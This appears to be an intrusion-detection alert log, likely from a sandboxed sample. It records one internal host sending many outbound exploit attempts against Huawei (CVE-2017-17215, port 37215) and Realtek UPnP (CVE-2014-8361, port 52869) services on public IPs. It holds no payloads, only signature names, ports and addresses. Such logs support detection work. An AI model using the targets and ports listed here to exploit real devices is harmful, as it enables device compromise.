ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 166.213.219.123

Timestamp:	07/20/24-23:01:29.179619
SID:	2831300
Source Port:	36626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.130.242

Timestamp:	07/20/24-23:01:28.196415
SID:	2829579
Source Port:	49754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.188.161.188

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.220.244.9

Timestamp:	07/20/24-23:01:11.454991
SID:	2835222
Source Port:	39382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.200.108

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	37698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.58.112

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.46.195.122

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	38330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 179.97.208.77

Timestamp:	07/20/24-23:01:29.673846
SID:	2027339
Source Port:	38230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.39.6.95

Timestamp:	07/20/24-23:01:33.300499
SID:	2027339
Source Port:	58088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.212.247

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	54522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.254.135.133

Timestamp:	07/20/24-23:01:25.184750
SID:	2027339
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 9.55.208.82

Timestamp:	07/20/24-23:01:34.907114
SID:	2831300
Source Port:	33296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.178.29.63

Timestamp:	07/20/24-23:01:13.329793
SID:	2027339
Source Port:	36650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.62.102.149

Timestamp:	07/20/24-23:01:28.216939
SID:	2829579
Source Port:	42364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 164.245.57.39

Timestamp:	07/20/24-23:01:11.474688
SID:	2835222
Source Port:	56722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.244.58.180

Timestamp:	07/20/24-23:01:19.236523
SID:	2829579
Source Port:	57386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.157.77.170

Timestamp:	07/20/24-23:01:34.900554
SID:	2027339
Source Port:	40032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.249.217

Timestamp:	07/20/24-23:01:02.411645
SID:	2835222
Source Port:	57334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.124.42

Timestamp:	07/20/24-23:01:14.406186
SID:	2835222
Source Port:	58358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.133.81.224

Timestamp:	07/20/24-23:01:37.120598
SID:	2829579
Source Port:	41902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.244.217.115

Timestamp:	07/20/24-23:01:02.407252
SID:	2835222
Source Port:	32986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.98.57.56

Timestamp:	07/20/24-23:01:19.225297
SID:	2835222
Source Port:	56424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.160.238

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	41338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.57.214

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	49332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.176.52.249

Timestamp:	07/20/24-23:01:07.683360
SID:	2829579
Source Port:	59366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 86.27.131.229

Timestamp:	07/20/24-23:01:34.902376
SID:	2831300
Source Port:	59926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.65.109

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	37198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.23.236

Timestamp:	07/20/24-23:01:22.785873
SID:	2829579
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.63.204

Timestamp:	07/20/24-23:01:37.227353
SID:	2835222
Source Port:	47282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.90.166

Timestamp:	07/20/24-23:01:25.230671
SID:	2829579
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.110.164

Timestamp:	07/20/24-23:01:37.208725
SID:	2835222
Source Port:	52422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.244.231

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	53862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.130.123.151

Timestamp:	07/20/24-23:01:13.334997
SID:	2027339
Source Port:	53592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.185.13.173

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	60856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.104.15.142

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	52560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 5.108.28.159

Timestamp:	07/20/24-23:01:06.290419
SID:	2025132
Source Port:	48978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 72.184.169.139

Timestamp:	07/20/24-23:01:13.331310
SID:	2831300
Source Port:	37720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 68.93.103.227

Timestamp:	07/20/24-23:01:13.329660
SID:	2831300
Source Port:	43930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.18.213

Timestamp:	07/20/24-23:01:22.785873
SID:	2835222
Source Port:	40026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 183.162.94.65

Timestamp:	07/20/24-23:01:25.203753
SID:	2027339
Source Port:	51624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.10.85

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	59604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 223.252.141.56

Timestamp:	07/20/24-23:01:33.071289
SID:	2835222
Source Port:	43700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 52.29.198.133

Timestamp:	07/20/24-23:01:25.480893
SID:	2025132
Source Port:	41230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.100.238.93

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	37796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.67.210

Timestamp:	07/20/24-23:01:14.397263
SID:	2829579
Source Port:	44736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.9.182

Timestamp:	07/20/24-23:01:25.230811
SID:	2835222
Source Port:	41998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.198.187.249

Timestamp:	07/20/24-23:01:25.291636
SID:	2829579
Source Port:	50402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.204.153

Timestamp:	07/20/24-23:01:19.222596
SID:	2835222
Source Port:	40550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 89.243.23.143

Timestamp:	07/20/24-23:01:25.037179
SID:	2027339
Source Port:	54966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.153.113.72

Timestamp:	07/20/24-23:01:24.746147
SID:	2027339
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.215.47

Timestamp:	07/20/24-23:01:19.336091
SID:	2835222
Source Port:	41606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.217.99

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	50206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.150.3.47

Timestamp:	07/20/24-23:01:05.920529
SID:	2835222
Source Port:	45310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.224.16

Timestamp:	07/20/24-23:01:25.294369
SID:	2829579
Source Port:	38264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.1.149.4

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	33554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.248.115.141

Timestamp:	07/20/24-23:01:13.332408
SID:	2027339
Source Port:	49890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.63.79

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	59164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.190.70.16

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 187.235.69.197

Timestamp:	07/20/24-23:01:13.332051
SID:	2027339
Source Port:	33906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 14.68.225.116

Timestamp:	07/20/24-23:01:06.253709
SID:	2025132
Source Port:	33458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.241.170.10

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	58282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 98.212.47.174

Timestamp:	07/20/24-23:01:13.333720
SID:	2831300
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.14.212.157

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 197.234.206.236

Timestamp:	07/20/24-23:01:25.042093
SID:	2025132
Source Port:	47050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 45.152.27.139

Timestamp:	07/20/24-23:01:34.983816
SID:	2831300
Source Port:	33344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.190.170.59

Timestamp:	07/20/24-23:01:13.335418
SID:	2027339
Source Port:	45158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.222.113

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	48176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 145.28.17.66

Timestamp:	07/20/24-23:01:31.287445
SID:	2027339
Source Port:	40132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 191.59.144.253

Timestamp:	07/20/24-23:01:22.620765
SID:	2027339
Source Port:	58196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.9.219.100

Timestamp:	07/20/24-23:01:34.899680
SID:	2027339
Source Port:	59892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.209.232.104

Timestamp:	07/20/24-23:01:25.284909
SID:	2835222
Source Port:	32944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 42.203.55.38

Timestamp:	07/20/24-23:01:24.080444
SID:	2831300
Source Port:	44184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.0.173.235

Timestamp:	07/20/24-23:01:28.182157
SID:	2835222
Source Port:	42590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 100.211.0.135

Timestamp:	07/20/24-23:01:29.721643
SID:	2025132
Source Port:	49942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.254.159.91

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	54468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 35.91.143.191

Timestamp:	07/20/24-23:01:06.142758
SID:	2025132
Source Port:	39248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.48.172.9

Timestamp:	07/20/24-23:01:28.146123
SID:	2835222
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 49.217.12.33

Timestamp:	07/20/24-23:01:05.855422
SID:	2025132
Source Port:	51692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.17.248

Timestamp:	07/20/24-23:01:19.220572
SID:	2829579
Source Port:	48672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.58.208.79

Timestamp:	07/20/24-23:01:05.911930
SID:	2835222
Source Port:	42442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 202.104.226.178

Timestamp:	07/20/24-23:01:13.336946
SID:	2831300
Source Port:	42026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 31.171.131.217

Timestamp:	07/20/24-23:01:29.710885
SID:	2027339
Source Port:	41234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 138.222.128.120

Timestamp:	07/20/24-23:01:13.330569
SID:	2831300
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.56.240

Timestamp:	07/20/24-23:01:02.411166
SID:	2829579
Source Port:	42224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.167.36.221

Timestamp:	07/20/24-23:01:23.011785
SID:	2027339
Source Port:	55794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.204.104.96

Timestamp:	07/20/24-23:01:29.171040
SID:	2027339
Source Port:	59746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.169.182

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 139.72.178.53

Timestamp:	07/20/24-23:01:30.599672
SID:	2027339
Source Port:	57398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.165.143

Timestamp:	07/20/24-23:01:22.792727
SID:	2829579
Source Port:	34198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 180.84.13.38

Timestamp:	07/20/24-23:01:34.892272
SID:	2025132
Source Port:	43614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.88.136.75

Timestamp:	07/20/24-23:01:34.964842
SID:	2027339
Source Port:	49074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.63.121.255

Timestamp:	07/20/24-23:01:22.779210
SID:	2829579
Source Port:	46706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.158.5.131

Timestamp:	07/20/24-23:01:37.124220
SID:	2829579
Source Port:	41508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.39.109

Timestamp:	07/20/24-23:01:14.401421
SID:	2835222
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.4.150.168

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	56858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 176.172.49.119

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	43780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.99.251

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.66.233

Timestamp:	07/20/24-23:01:22.787765
SID:	2829579
Source Port:	55252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 46.8.125.37

Timestamp:	07/20/24-23:01:34.105180
SID:	2025132
Source Port:	33484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 180.166.72.99

Timestamp:	07/20/24-23:01:34.939612
SID:	2027339
Source Port:	53134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.208.154.119

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	47460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

